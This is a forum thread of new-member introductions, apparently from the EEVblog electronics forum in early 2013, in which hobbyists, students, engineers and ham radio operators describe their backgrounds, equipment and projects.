I dropped out and started a small business doing hardware/software solutions for the Apple ][ (the IBM PC didn't exist yet), which was the cool "open platform" of its time.: its cover was even held on with industrial Velcro, not screws, to encourage users to open it up. I quit developing for Apple when its focus shifted to the Mac, whose philosophy I abhorred. In my fanboy eyes, Apple made *itself* "Big Brother, around the time they presented the infamous Big Brother ad IMPLYING that IBM was! At least IBM let you install a hard drive. Apple wouldn't let Mac owners have hard drives for years, because Apple didn't make one--and you didn't dare risk voiding your Mac warranty, because early Mac power supplies might blow out every few months. (Apple II, III, and Lisa owners installed them anyway)

Electronics had always been a handy sideline for me, right up through medical school. I did lab designs for college research labs, and other projects, but it was just "one of those things you do" alongside any number of hobbies and skills:  chemistry, computers, cars... I was into everything (and not just things beginning with C) .. okay, "flying". There. That's not a "C"!

I did ultimately patent one quite commercially unsuccessful biomedical device, but it had nothing to do with electronics, and I'm not particularly interested in biological/medical applications now. I've just been returning to it on a hobby level, and in recent years, I have slowly been outfitting the proper electronics lab I always wanted -- but I've hardly done anything with it all. I tend to spend my limited hobby time fixing things (I can't stand to see things broken or needlessly discarded) and improvising solution -- my greatest joy.

I've been taking a lot of online courses (Agarwal's 6.002 at MIT, the Stanford AI course, a few Coursera CompSci, etc.) but as far as electronics goes, I've found myself doing pretty much what I always did: improvising, making modest PCBs as needed (for many reasons, I primarily use the photo resist method, with laser-printed acetate) I guess I'm looking for something big to throw myself into -- not a big project (pretty much any DIY CNC or rapid prototyping set-up can suck up all any hobbyist's time) but a field of interest.
Title: Re: New Member, Please introduce yourself
Post by: RodH on February 14, 2013, 09:57:11 pm
My name is Rod, I have a degree in electronics engineering technology from the University of Houston. I am retired, after having worked in broadcast television for some 45 years.
Title: Re: New Member, Please introduce yourself
Post by: Anquietas on February 15, 2013, 12:17:19 am
Hey everyone!

I am a 23 year old graduate student in Mathematics (specializing in Algebraic Geometry) who will soon get his degree and go on to study Molecular Biotechnology because he feels still young enough to do so; hopefully without losing sight of research in maths, though I think this is unavoidable short-term. I love all things interdisciplinary and I have recently (re-)discovered a special interest in electronics after tuning in on Dave's EEVBlog. I want to learn electronics design for its own picturesque sake (and a quite useful side effect might be that I will be able to design home made application-specific lab equipment for future research in biotech).

I am a total and utter beginner when it comes to practical electronics / electronics design. Dave has done a great job getting me wet over it (and esp. RF circuitry, but that's basically like alien technology to me at this point, and it's probably going to takes years of exposure to non-RF electronics design before I can start doing something in RF without it becoming an entirely hopeless undertaking). My main focus is on my academic studies, though, so I will have to relegate electronics to a weekend hobby for the time being. 

I hope I won't be bothering you guys with too many questions. :P

Best wishes,
Alex
Title: Re: New Member, Please introduce yourself
Post by: Herr R aus B on February 16, 2013, 11:29:13 am
Hi, I am Axel from Berlin/Germany and just enjoy Dave's very special way of doing this Blog. I am a computer scientist and much more into photography than electronics, even though Dave managed to finaly make me understand some facts, that I never catched up with at university. So, I feel something like an autumn renaissance of electronics in myself.... *rhubarb*

 :-+
Title: Re: New Member, Please introduce yourself
Post by: Anquietas on February 16, 2013, 05:40:35 pm
Hi, I am Axel from Berlin/Germany and just enjoy Dave's very special way of doing this Blog. I am a computer scientist and much more into photography than electronics, even though Dave managed to finaly make me understand some facts, that I never catched up with at university. So, I feel something like an autumn renaissance of electronics in myself.... *rhubarb*

 :-+

Ah, you are the guy who sent Dave the stunning photo calendar! :-+

( P.S. Grüße aus der Pfalz. ;) )
Title: Re: New Member, Please introduce yourself
Post by: Herr R aus B on February 16, 2013, 10:42:21 pm

Ah, you are the guy who sent Dave the stunning photo calendar! :-+

( P.S. Grüße aus der Pfalz. ;) )

Stunning? Thanks...  :-) I just took some pictures of what got in my way :-) And I thought, Dave deserved getting one copy :-) See my web link for more pictures and blog on that stunning world trip :-)

(P.S.: Grüße zurück aus Preußen)
Title: Re: New Member, Please introduce yourself
Post by: Dellarius on February 18, 2013, 09:29:53 am
Hai,


I'm James (19) and from Central Queensland, Australia.. not Austria. Alright, jokes aside I'm a Second year High Voltage Electrical apprentice for Bhp Billion. I work on the maintenance team working mainly on Marion and Bucyrus Erie Draglines and P&H Electric Shovels. On these equipment we maintain everything from the PLC systems to the 1 MW Electric motors. apart from these heavy machinery we also maintain all power lines, substations and electrical infrastructure on the mine site.

Since I was really young I had a bad habit of pulling electronic components apart and repurposing them. Got my first electronics hobby set after I rigged up a sensor from a McDonalds toy to the computers speaker so I knew who was entering my room. Parents weren't amused.

Dave's responsible for two hobbies and possibly my career in the electrical field.. though it's not electronics it's still electrical.
Since watching EEVblog in 2010 I've started to redo electronics kits and projects, started Geocaching and regrew my interest in how things work after becoming a zombie in highschool.

My other hobbies and interests are volunteering in the State Emergency Service (Volunteer rescue group, Australia wide,) Armature Radio, Video games, Hiking and climbing (Abseiling.) Also after watching Dave's multimeter review I really want to try Canyoning.

(http://img600.imageshack.us/img600/3185/headingtoadragline.jpg)
(http://img694.imageshack.us/img694/4662/jamescy.jpg)
(http://img692.imageshack.us/img692/6472/53354150014163180641518.jpg)
Title: Re: New Member, Please introduce yourself
Post by: Ozracing on February 18, 2013, 06:40:10 pm
Hi,

I am Aldas also im not very old, just 20 years old and im studying Electronics engineering at Kaunas Technology University.
I started to do all sorts of bad stuff to electronic devices when i was 6 years old, taking them apart and etc.  ;D
This turned out to be a habit of tinkering with stuff so decided that i do like to make, destroy, repair electronic devices
Now i just cant live without electronics so thats that about me :)

Regards,
Aldas
Title: Re: New Member, Please introduce yourself
Post by: mcufreak on February 19, 2013, 08:14:00 pm
Hello guyz, I'm an electrical engineering student from Bangladesh. Nice to meet you all. I love working with microcontrollers.  :-+
Title: Re: New Member, Please introduce yourself
Post by: K9SPY on February 19, 2013, 11:36:43 pm
Hello,

I am K.C. (yes like the Sunshine Band...) and I live in Kirby, Texas.. .which is essentially San Antonio.

I am an Electrical Engineering student and I have not come CLOSE to deciding my concentration. I plan to get a second major in Physics after my E.E. and go on to Master's and hopefully PhD in Physics. For E.E. I am currently considering RF, Control Systems, Electronic Materials and Devices, and Communications as concentrations.

I work as a Network Analyst at a local utility company and make a decent wage. I am able to afford parts and components, but not multi-GHz O-scopes or other expensive toys.Hence, I want to eventually become a professor! (and actually RESEARCH things...!)

Currently I am wrapped up being a ham radio enthusiast. I have to go home a climb 40 feet up a tree to bolt on an antenna tie-point. Then I have to climb up another! I already got the center one last week...

I just finished an RF-upconverter so that I can tune 50MHz and below on my Nooelec RTL Rafael Micro SDR dongle. Now I can receive from DC to 1.7GHz on my laptop and see the airwaves.

I built a Michigan Mighty Mite, a super-simplified 80m CW (morse code) transmitter a few weeks ago in old fashioned style on a nicely finished plank of wood with 2mm brass rod as the interconnect and whatever nice brass and old mica insulators I could find to pretty it up.

With the SDR and the super-simple transmitter, I plan to begin very gently and scientifically experimenting with radio and electronics in-general, observing how my changes affect the output, and reading for advice and tricks.

I have a very nice electronics and metal fab setup in my garage for building everything from radios to entire residential antenna towers.

I also have a lovely wife, (4) kids, (7) if you count my beloved dogs, and infinity if you count the rest of the animals out family has adopted!

K9SPY is my FCC Amateur Radio callsign. I recently got it on the license plate of our truck, car, and my dual-sport motorcycle.

This year I hope to have a home-built radio setup mounted in ammo cans on my Suzuki DRZ-400 for ARRL Field Day, where I will assume the role of using my "dirt bike" to get to the top of some random local peak to setup a relay point (repeater) to get emergency radio traffic out of a valley and off to whichever direction it is needed. I'll have to fabricate a suitable "luggage rack" along with some electronics to support the power needs on my VERY small bike.

Looking forward to lots of chats and no flames...!

kc
San Antonio, TX
Title: Re: New Member, Please introduce yourself
Post by: Herr R aus B on February 20, 2013, 01:32:29 pm
I am K.C. (yes like the Sunshine Band...)

That's the way, uh hu uh hu, I like it, uh hu uh hu  O0
Title: Re: New Member, Please introduce yourself
Post by: N4-ES on February 21, 2013, 04:53:00 am
Hi, first post on the site, and very recent viewer of the EEVBlog channel. I was directed there by a friend who makes slick electronics for BMW motorcycles, when I asked him what DMM could replace my failed units... and WOW my eyes are wide open after watching Dave tear down all manner of electronics. Great teaching tool, I have some catching up to do, from college engineering courses 20 years ago.

I've written process control software (in LabVIEW) for the past 20 years, and have connected to so many test instruments I've lost count. Serial, TCP/IP, ModBus, GPIB... anything with a data port, I can get its data out and send back in a control scheme. But sometimes I also need to get my hands dirty with signals and circuits and soldering... it's all fun!

I saw that Dave has an Amazon link, and used that for the nice Fluke I'm getting to replace the dead DMMs, let's not even get into names, they were functional but cheap. Thanks, Dave, for the videos, and enjoy the 6% commission. I'll be enjoying my re-education in electronics.

- Andrew
Title: Re: New Member, Please introduce yourself
Post by: gianfranco on February 21, 2013, 12:45:59 pm
Hi everyone,
I'm Gianfranco from Italy. I'm 49 years old. I have a degree in electronic engineering at Politecnico di Torino. Now I'm working at Politecnico as a lab technician and supervisor. I collect measuring instruments ranging from early 1900 up to nowadays. In this moment I have about 1500 pieces (especially Hewlett Packard) but the collection is growing although I have no more space at home :palm:
I'm also an amateur radio station and iz1ici is my call. I hope to learn from the community a lot of hints to improve my skills in the beatiful world of electronics.
Nice to meet you all.
Gianfranco
gianfranco.albis@polito.it
Title: Re: New Member, Please introduce yourself
Post by: KJDS on February 21, 2013, 06:36:23 pm
I'm Kev, 47 years old, electronics graduate and have been doing RF design professionally for over 25 years.

Currently working for myself, specializing in high power or low noise amplifiers in the low GHz region and also currently selling a lot of used test gear.
Title: Re: New Member, Please introduce yourself
Post by: Eunit on February 22, 2013, 11:04:54 pm
Hello from good ol Canada eh?.

I'm Ernie and I am a hobbyist. I am interested in automation and open source hardware design. Everything I know about electronics is from long hours of research using the google machine.
Compared to most or even all, I am a total newbie.
Title: Re: New Member, Please introduce yourself
Post by: metawops on February 24, 2013, 09:15:06 pm
Ahoi!  ;)
I'm Stefan from Germany.
I've got loads of hobbies and they come and go like sinus waves (with variable phase lengths per hobby  ;D)
One of it -- and a rather strong one -- is definitely electronics.
However, I'm the guy who came to it via computers (studied math & cs), then microcontrollers & the MAKE movement.
I'm currently getting my feet wet with my Arduino and my Raspberry Pi.
I'm loving  and learning electronics (again; had modular experiments sets as a teen) with Charles Platt's nice "MAKE:Electronics" book.
And I'm loving the 555 timer chip and shift registers and 4017 decade counters and 7-segment LEDs and and and ...
I've got a few projects in mind I want to build some day.
But for now it's learning, learning, learning.
My latest precious is my Voltcraft DSO-1062D oscilloscope. Absolutely loving it! Learning SO MUCH about circuits these days! Awesome!
Oh, and I'm sometimes writing about the things I'm learning -- in German, sorry: http://musicdiver.com/wordpress/category/elektronik/ (http://musicdiver.com/wordpress/category/elektronik/)
All the best & take care!
Stefan.
Title: Re: New Member, Please introduce yourself
Post by: Technician on February 25, 2013, 02:10:56 pm
Hello everyone !

My name is Tomislav Mrla and I am an electronics technician employed at Ruder Boskovic Institute (natural sciences research institute in Zagreb, Croatia). My working place is small electronics repair/servicing (and very often research and development  :)) lab in mass spectrometry laboratory. In other words, lab in a lab. Most of the time I do analytical equipment servicing (mass spectrometers, photo-electron spectrometers, gas analyzers etc. ) and I am telling you, there is fun and exotic staff here !  When I started working here I could not believe the complexity of some equipment, but how could it be interesting otherwise ? :)

I joined the forum after months of watching excellent videos done by Mr. Jones. These videos are very educational, professional, full of useful content and some of my colleagues here like these very much.

I am looking forward to post on this forum.

Regards,

Tomislav


Title: Re: New Member, Please introduce yourself
Post by: BigWhig on February 27, 2013, 06:27:23 pm
Hello!

Jostein from Norway here. I'm working with marine automation systems. I've always been interested in anything that runs from a battery or a wall-socket. I'm planning to dive deeper into the world of electronics. First step is going through the basics again.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: VEGETA on March 03, 2013, 05:41:06 pm
Peace-upon-you, I'm Vegeta (true name is top secret ^_^) I'm a mechatronics engineer (final year) from Jordan.

I like Microcontrollers and I like to learn PCB design and later on FPGA design.

And I like to learn how to design a complete product (especially the enclosure stuff) and marketing it...

thanks...
Title: Re: New Member, Please introduce yourself
Post by: Adal on March 05, 2013, 08:34:22 pm
Hello!

I´m Adalberto from México. I´m an  electronics test gear repair man  :-BROKE |O

For living I´m an electronics enginner. I have a lot of expertise  in cellular RF networks. From DAMPS to LTE   :-DD.

Title: Re: New Member, Please introduce yourself
Post by: Fezder on March 07, 2013, 09:44:13 am
Hey people,
I'm Atte,  currently 21 years old, EE student from Finland. My other education is carpenter. My hobbies and interests are electronics related: I make/design my own tinkers, try to repair different ''junk'' whatever comes at hand. Currently under repair is stereo transistor amp My other hobbiy is chip carving, which i do when there is time.
My equipment consitst pretty much all ''needy'' at the moment; dual trace analog scope, funktion generator, capacitance/esr meter, temp.controlled soldering iron (too many chinese cheapos have burned...), clamp meter, and couple basic multimeters. Of course all screwdrivers necessary. My next investment is hot air soldering station for SMD and other stuff. Current project (one of many) is coil testing circuit, which has adjustable current and frequency.

Thats pretty much it :).
Title: Re: New Member, Please introduce yourself
Post by: philpem on March 07, 2013, 10:49:33 pm
May as well say hi, such is the custom :D

So, yeah... I'm Phil - by trade I'm a software engineer, but in my off time I muck around with microcontrollers, motors, opamps and other electronic whizz-bang-ery. A couple of years ago I designed the DiscFerret disc archiving tool (www.discferret.com (http://www.discferret.com) if you're interested in that) and that's kicked off an interest in FPGAs, CPLDs and 32bit ARM microcontrollers :)

Reckon that's about all there is to say really - I'm a typical Brit, can talk the hind legs off a donkey, but once you ask me to talk about myself I go silent!  ;D
Title: Re: New Member, Please introduce yourself
Post by: baljemmett on March 07, 2013, 11:03:44 pm
May as well say hi, such is the custom :D

Evening Phil -- nice to see you here -- for some reason I thought you were already a member!
Title: Re: New Member, Please introduce yourself
Post by: 2400Ws on March 08, 2013, 07:26:17 am
G`day all

A quick hello. As you may have guessed from my greeting i live in the land of oz.Have been a technician most of my life ( a few forays into other fields) working on most consumer items from calculators to TV`s ,projectors  and the like.Started my working life when LSI chips were just becoming common so that will give you an idea of my age ! Have just started (6mths) a new job working on  studio flash gear and cameras.

I have been reading the forum and watching the videos for about a year now and would like to thank Dave for a very informative and interesting site made that much better by the  helpful and intelligent members  in this  forum.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: NewfieTechie on March 08, 2013, 07:12:49 pm
Hello! I have been a long time fan of the EEVBlog videos on YouTube. I am currently working on my Thesis to graduate from Electronic Engineering Technology.
Title: Re: New Member, Please introduce yourself
Post by: LloydAZ on March 09, 2013, 08:25:49 am
Hello from sunny Arizona!

I'm fairly new to electronics and want to learn more.  I work as a software developer and I have a Bachelor of Science in Computer Information Systems.

I've really enjoyed the YouTube videos for EEVBlogs and I'm looking forward to chatting with everyone and learning.
Title: Re: New Member, Please introduce yourself
Post by: edpalmer42 on March 10, 2013, 04:38:56 am
Hi All,

I'm a retired electrical engineer with 31 years of technical experience with our local telephone company.  My special interest is precise time & frequency systems like precision quartz oscillators and rubidium frequency standards.  I've been lurking for a few months and decided that it was time to join.

Ed
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Post by: Ed.Kloonk on March 10, 2013, 04:58:15 am
Hi Ed.

From one ed to another.

 :)

(two ed's are better than one!)

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Post by: Radio Tech on March 10, 2013, 10:56:29 pm
I am from  the East coast of North Carolina
A little bio since this is my first post.
I am 51 years old. Got into electronics when I was 12. Mostly into short wave listening so I build my own receivers back then.  Was into the CB craze of the 70’s. Still with it today.  I have worked for EF Johnson, General Electric, and Curtis Mathis.  I am a tube freak and love old school radios.  I repair and restore RF communication equipment as a small business.  Been an amateur (Ham) radio operator since the 90’s.
Some of my test gear is: IRF 1200S, Motorola Tone/frequency/deviation auto tune meter, Sencore CS-61 scope. Really thinking of a new Chinese DSO unit.

Ran into Dave on YouTube EEVblog a few weeks back, I love this guy. So nice to see someone with such a passion of electronics.  I am afraid guys like me (RF tube) are a dying breed.
Looking forward to reading more here.
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Post by: Quick5pnt0 on March 11, 2013, 02:49:05 am
Not much to say, just a hobbyist who found this place from daves videos on youtube.
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Post by: Nemesis04 on March 11, 2013, 03:05:11 am
Hi, long time lurker first time poster. Electronics interests me immensely and dable with a few side projects from time to time.
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Post by: AppliedVoltage on March 11, 2013, 04:00:50 am
I'm a power electronics enthusiast. I like working with high voltages and high amps, and sometimes both. I also do some smaller stuff, programming microcontrollers and interfacing with them.

Love the videos.
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Post by: warywolfen on March 11, 2013, 04:04:40 am
My name is Clyde, and I'm from New Mexico, USA.  My electronic interests tend toward high-end audio and RF.  I've worked as an electronics technician and broadcast engineer for 14 yrs. I do a lot of shortwave listening. I'm also interested in chemistry and have a degree in chemical engineering.  Oh, I'm also drooling over that Fluke in the contest!  :-DMM
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Post by: RickieSalad on March 11, 2013, 04:08:33 am
Hey Dave

Not sure if you actually peruse the new member thread now that there are 63 pages worth, but I'll write as if you will see this...

I just wanted to thank you for your great videos and the forums.  I've been watching you for quite some time now. I remember watching videos from the shop in your garage. I loved how tried to absolutely maximize every inch of bench space by building a table top that just barely cleared your car hood, classic! 

When I was a kid I attended a semester at ITT Technical Institute for electronics. I loved it and was doing great in it. I got a great job offer and the training was going to interfere with school so I decided that I'd take a semester off and go back.  Of course life got in the way and that never happened.  I've been in IT for about 15 years and I'm getting really tired of it.  Finding your videos has really gotten me much more into electronics again.  I'm very seriously considering going back to school and get an EE degree, from a real university this time, not an ITT type school. So I'd have to say you've really had an impact on my life. So thanks.

I've been trolling the forums for quite a while now but I'm still one of the "young players", as you say, so I don't have much to offer so I never registered. I just like seeing peoples projects and things like that.  Although if it makes you feel better I did buy an Extech EX330, and a Rigol DS1052E through your Amazon store, I assume you must get a little cut of that.  ;)

I saw your video on Facebook about the Fluke CNX 3000 giveaway and I thought this would be a good time to get my 5 posts out of the way so I can enter.  8)

Thanks again.



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Post by: potatogun96 on March 11, 2013, 04:21:08 am
Hi, my name is Eddie, I live in the United States, and am 16 years old. I have been into electronics since I started taking stuff apart at the age of 8-9. I got into it seriously over the past 2 years or so, and it has become my new favorite hobby. I like to play with everything, from programming to high voltage. I hope to become an EE in the future.

If you want to see some of the stuff I made, check out my youtube channel: www.youtube.com/user/potatogun96 (https://www.youtube.com/user/potatogun96)
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Post by: killernat on March 11, 2013, 05:53:57 am
im from montreal and im studying in industrial electronics with plans of getting an electronics engineering degree
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Post by: LyTeo on March 11, 2013, 09:08:55 am
Andrew from Latvia here. Currently 2nd semester masters in electrical engineering. Watching EEVblog youtube videos for some time now and figured it`s a good time to join, because of the contest obviously! :)
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Post by: ktulu on March 11, 2013, 09:28:03 am
Hi,
I am mainly in the low voltage, low power stuff and digital electronics. Found out about eevblog trhough Dave's PICKit3 video. Since than I've watched all of them.
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Post by: SebG on March 11, 2013, 09:46:12 am
Hello everyone.  My name is Sebastian and I am from Canada, BC.  I got into electronics around grade 8 and one day someone showed me how to turn bits on/off on a PC's parallel port using BASIC.  I used an old computer with 5" floppy drive, a tiny harddrive (well maybe 10 Million! bytes) and a black and Yellow monitor (located in my closet next to my desk).  And after few hours of playing around turning on LEDs, fans, transistors and other Devices I asked my self why does pin 0 turns on when I output 1 and pin 1 when I output 2 and so forth.  I had no knowledge of what binary numbers were or what they represented.  None!  Well something about 1s and 0s.  Well I figured out that adding say 1 and 2 will turn each corresponding pin, pin 0 and pin 1 respectively, and that any number between 0 and 255 would turn some combination of pins.  Then ideas started to fall in place and I've learned all about binary numbers: how they are represented, the idea that they are base 2 and how to convert between base 10 numbers and binary. (It was a mind blowing day I will not forget) I consider that day to have inspired me to pursue learning about electronics and now I have a degree in Electrical Engineering.

This is my first post and 4 more so i can qualify to win the Fluke CNX Contest.  This will be hard since I don't want to just post ... crap. 
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Post by: XpsikotiX on March 11, 2013, 09:51:52 am
Hello,
I'm Adrian from Italy. I enjoy very much the quality content of the forum and the videos. Keep up the great job
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Post by: Dongulus on March 11, 2013, 11:03:25 am
Hello to anyone reading this,

I'm Spencer. I'm a recent college graduate in California with a BSEE. I've kept up with Dave's videos for years and I am just now joining the forum (to be honest because of the contest announcement  ;D). From a cursory look at some of the threads, I can tell that becoming active in this forum should prove to be of value to me as both a young professional and a hobbyist.

Happy reading,

Spencer
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Post by: paulsev on March 11, 2013, 11:44:09 am
Hi my name is paul, I am a 3rd year EE stuent at Queensland University of technology and I am working full time for an electric utility in Australia called Energex. I have watched Daves videos for years and only recently started using the forum as I am developing an open source Geiger Counter.
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Post by: Nack486 on March 11, 2013, 12:34:12 pm
My name is Ivaylo and I'm from Bulgaria. I study in an engineering high school but I have yet to decide if I want to study programming or EE. I'm interested in embedded systems and audio circuits.
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Post by: mwtheobald on March 11, 2013, 12:50:23 pm
Hi,

I'm from Canada and haven't done electronics in many (25+) years but my 9yr old daughter is very into breadboarding and looking at circuit boards (what she used to call cities, most likely because the cap's/etc looked like skyscrapers).  I really enjoy the video's and hope Dave keeps it up.

Mike.
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Post by: ngfish on March 11, 2013, 12:52:04 pm
Hey, I'm nick from hawaii... Just another electrical engineering student working towards getting a masters in EE.

I'm a lead systems engineer on a student project launch next fall.. (CubeSat)  And I hope to change paths and move into research using liquid metal in microwave circuits and antennas. 

Well, Hello
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Post by: toster on March 11, 2013, 01:21:54 pm
Hello from Latvia!

Currently an IT student that enjoys watching the show. Keep up the good work Dave!
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Post by: Hair_of_the_Dog on March 11, 2013, 06:21:52 pm
My name is Jeremy. I'm a hobbyist in the EE field. I'm one of those software guys Dave makes fun of all the time.
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Post by: snowl on March 11, 2013, 06:41:09 pm
Hi,
I'm Jörg from Germany, and I work in Computers (Programming, Monitoring and Automation), but as I started as a Communication Technican around 25 years ago so I still have electronics as Hobby and to fall back to when it is not programmable  :-/O
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Post by: andybdjuk on March 11, 2013, 07:04:36 pm
I'm Andy,

I manage a Biomedical Engineering Department in a district general hospital. We manage and maintain a wide portfolio of medical equipment from a light you shine in your ear to life support equipment. Over the last 25 years medical equipment has gone from quite basic electronics to the cutting edge technologies being used today.

I have 30 years in electronics including fabrication of Josephson Junctions ( http://en.wikipedia.org/wiki/Josephson_effect (http://en.wikipedia.org/wiki/Josephson_effect) ) for use in radio astronomy in the early years . Although I now only do a little electronics at work, I am very active on the hobby front.

I am into home automation, solar panels, wind turbines and stuffing information down the internet.

I'm an avid listener of the Amp Hour and EEVBlog

Thanks

Andy


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Post by: knarf.be on March 11, 2013, 07:58:41 pm
Hi, my name is Frank.
I like electronics and ict. I'm currently still at high school, but doing a lot of small projects in my spare time.
Almost any of my equipment is recycled self made or el cheapo, because the budget is very low.
I' m from belgium, and a also have a blog where I post in dutch my projects.
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Post by: VK3GCP on March 11, 2013, 09:22:16 pm
Hi all.

Name this way is Gerard, hailing from the ever changable melbourne!

I have been interested in electronics since I was 8. I now work in live sound and lighting production, and I find my electronics experiences invaluable every day!

I am also a Ham, callsign VK3GCP.

Cheers!

Gerard.
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Post by: Frollard on March 11, 2013, 10:16:11 pm
Greetings - circuit geek from Calgary, AB Canada!  Long-time instructables member (frollard) where you'll usually find me in Q/A answering questions about led current limiting resistors and the like!

been tinkering for many years - I have a few things on the go:
https://www.youtube.com/frollard (https://www.youtube.com/frollard)
^currently working on some fun addressable led stuff, I try to vlog my cooler projects.

3d printer being built: Hadron ORD Bot...needs a little work and a few more components.

Animatronic iguana-sized bluetooth lizard prop for photography client...still in design phase...electronics done just need the mechanical skeleton and skin.

1986 Road Kings (Williams) Pinball machine that needs constant electronic and mechanical TLC.

High efficiency high-power led lighting (90+% in the DC-DC current limiting switch mode conversion) powering pwm enabled 20-watts-per-channel RGB, will become a dmx/usart controlled stage light.

I look forward to lurking around and poking in here and there!
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Post by: peterthenovice on March 11, 2013, 10:52:07 pm
hello,I am a novice the electronics world. I am of the few teens in mississippi that like get into electronics.
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Post by: Kaluriel on March 12, 2013, 01:39:02 am
I joined a while back, but never got around to introducing myself, I'm Steven from the South of England.
A games programmer by trade, and interested in electronics as a hobby.
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Post by: ajc on March 12, 2013, 05:33:14 am
Hi,

I'm Adrian from Australia.  I'm into HW design and a bit of SW.

Been on the forum for a while, but never did an intro...
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Post by: millerb on March 12, 2013, 06:23:28 am
I'm Brian from Salisbury Maryland, US. My background is mainly software but I have a strong interest in electronics. Lately I've been doing a lot of stuff with FPGAs.
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Post by: talsit on March 12, 2013, 07:47:55 am
Hey, I'm DMO, born in Spain, lived most of my life in Australia, a year in Namibia, and now in Japan.

I've always been a visual person, programming graphics for games for several years, then graphics for animated features (happy feet 2), and now on live action movies making custom hardware.

Everything I learnt is thanks to people like you that share their knowledge. Thanks!!
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Post by: leno on March 12, 2013, 08:02:19 am
hey my name is Leonard
i am a auto electrician in Adelaide South Australia
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Post by: commerou on March 12, 2013, 08:20:00 am
Hi My name is Kasper
I am a hobbyist in electronics
Greetings from Denmark
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Post by: beret82 on March 12, 2013, 09:10:41 am
Hi,
My name is Marcin and I'm form POLAND.
Gratings to all you guys here.

Dave you are doing great job, keep it that way.

Marcin
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Post by: Mindlesscoolguy on March 12, 2013, 09:43:00 am
hi, I am Mindless (i don't like using my real name), I am an Australian, studying in Malaysia. I have been doing electronics since i was 8 (Well, soldering, anyway). When i was 10 I built myself an 100 watt Stereo Amplifier and pre-amp, using an STK 4192 II op amp (Off the top of my head =P), i am now in 13. I program in many languages, including: BASIC, Java, C++, C, Processing and a few others i cant remember.  Best thing about Malaysia: (Besides the food) That the components here are dirt cheap in comparison to Australia
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Post by: maca_404 on March 12, 2013, 09:47:48 am
G'Day

John here from sunny Victoria, I have ten years experience in the hell called IT Administration and Dave and his videos have inspired me to take my hobby to the next level.  I have been consumed by electronics since getting my first DSE Funway kit when I was 8 years old and it snowballed from there,  As of this year I am an albeit old EE Student and I would like to thank Dave for inspiring me.

Cheers
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Post by: Lambros on March 12, 2013, 05:11:39 pm
Hello from athens,greece. I'm george, undergraduate  of electronics engineering at the Tecnological Educational Institute of Athens.
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Post by: Teslacoil4148 on March 13, 2013, 02:04:26 am
Oh, the dreaded introductions forum that appears on all decent forums, guess I'll start from scratch for this one.

Livin' out in NY, US, currently a High school student, taking a half-day one year "Technical electronics" course (Essentially, "here's ohms law, here's how to calculate power, here's how to find series resistance, series-parallel, solder together kits, read a schematic, and do some basic computer repair", so pretty much the very basics). I spend hours reading articles and watching videos on the subject of electronics, with no real focus on any specific field. I'm aspiring to go into computer hardware engineering...What else might I put that could be even remotely relevant to this forum? Guess that'll be all for now.
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Post by: CHexclaim on March 13, 2013, 06:07:13 am
Hello to everyone.
 
I was born and currently live in Montevideo, capital of Uruguay, South America (not in U'reGay, as Homer Simpson once said). Since I was a kid my dad started calling me Charlie although my real name is Carlos. I was very fortunate to attend a bilingual  primary and secondary school (english as a second language) here in Montevideo. I can read, write and speak english well enough as to understand Dave's aussie accent without any trouble.

I dropped engineering uni due mainly to other difficult situations in life at that time. I wish I would have finished it but this is the way life is.

I am 42 and counting. I have two young kids and a wonderful wife. My work makes me travel every week to Buenos Aires (Argentina). I work in a small company which started in Montevideo selling and deploying high end audio and video systems in the residential sector. The company then included home automation and lighting control in the portfolio. I worked at this company for around 15 years now and I lived all its evolution. Our main customers are in Argentina today so that is the reason for my commuting.

As a note, let's leave the high end audiophile discussion for another time, but after 15 years I can tell that, yes, human senses are far more subtle than we think, and that, the stuff that really bring the magic out is the one that is really well engineered and built. I truly understand the people that don't believe it, but just because it is difficult to come across a really good setup, budget independent.

I am project manager but, as in every small company, I am always hands on stuff. I am proud of many complex projects where I was heavily involved in the design and deployment stages. Not all of them, of course.

Since a small kid I was interested in electronics. I still remember the germanium transistor exploding in my hand when I plugged it into mains (my first unstable amplifier). I blame my interest on my dad. He worked for many years in IBM at the time where you had to probe everything until you found out the failing transistor. None of that hot swappable board replacement modern stuff. He studied industrial mechanics when young and with time he manage to bring together a fairly complete workshop at home. He also is a HAM (the old school ones!). All that combined together, well, molded me.

I am a HAM too, CX6BT, bitten by the magic of HF communication. My transceiver is an old (valve) Collins KWM-2A, if this says something to someone.

When I was a boy, as Dave says, Internet did not exist. I think that the positive side of that is that to make something work you had to figure it out yourself. I set aside electronics as a hobby for many years and it is Dave's fault for me to be catching up, but I never set the soldering iron aside, for sure.

I call myself a generalist as I have some level of interest in the way everything works and why it is done that way. Anyways, every one has its own understanding of the term. I am lucky to have been able to travel a bit. Argentina, of course, Brazil, Paraguay, United Sates, Spain, Portugal and England (well, Gibraltar..).

Please excuse me for the length of this essay. Best wishes to all. My gratitude to Dave, Chris, Jeri and all the other guys that are bringing my electronics hobby back.

I am @chexclaim in twitter. I do not post much but retweet things that I find useful and important. I have Facebook but just because necessity. I am not a fan of it.

Charlie.

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Post by: Uffe on March 13, 2013, 11:14:47 am
Hi,

Ulf here from Sweden, been lurking for long but took the time register.
Really appreciate all the great knowledge thats around here and how helpful pepole are!

 :-+

//Uffe 
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Post by: skjafar on March 13, 2013, 11:26:40 am
Hello, My name is Sofian Jafar, I am an electronic engineer at an accelerator which is currently being built in Jordan, it's a specific type of accelerators called Synchrotron. Anyway, I first started watching Dave's Video Blog from the time video 10 came out (can't remember the date  :P)
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Post by: MacAttak on March 13, 2013, 04:22:27 pm
Keith, in Atlanta GA.

I originally went to school in the early 90's for EE with aspirations of designing circuits or perhaps digital processors, but was turned off by the absolutely abysmal math program at Louisiana Tech in those years (the Calculus professors were terrible and 100% unmotivated to teach anything). I ended up in Computer Science but landed a job in IT before finishing my degree.

After spending the past 15 years in software development / architecture (consultant), I picked up an Arduino last year and "remembered" my old interest in EE. I quickly moved on to general microprocessor programming (fascinated by the really tiny ones like the ATtiny series), and from there I moved into general electronics and PCB design. I have been going back through educational texts to learn everything I missed from the past 2 decades, and re-learning the fundamentals of EE theory. I have built a number of smaller projects now, with several more in-progress. I've been building up a small workspace with a bench PSU, solder station, hot air system, etc. Still need to get a starter scope but I'm in no hurry.

I stumbled upon EEVblog a few months back while looking for educational videos for SMD soldering techniques, and I have been reading these forums pretty much every day since then. I only just registered a few days ago because I didn't feel like I was knowledgeable enough to help anyone else until recently.

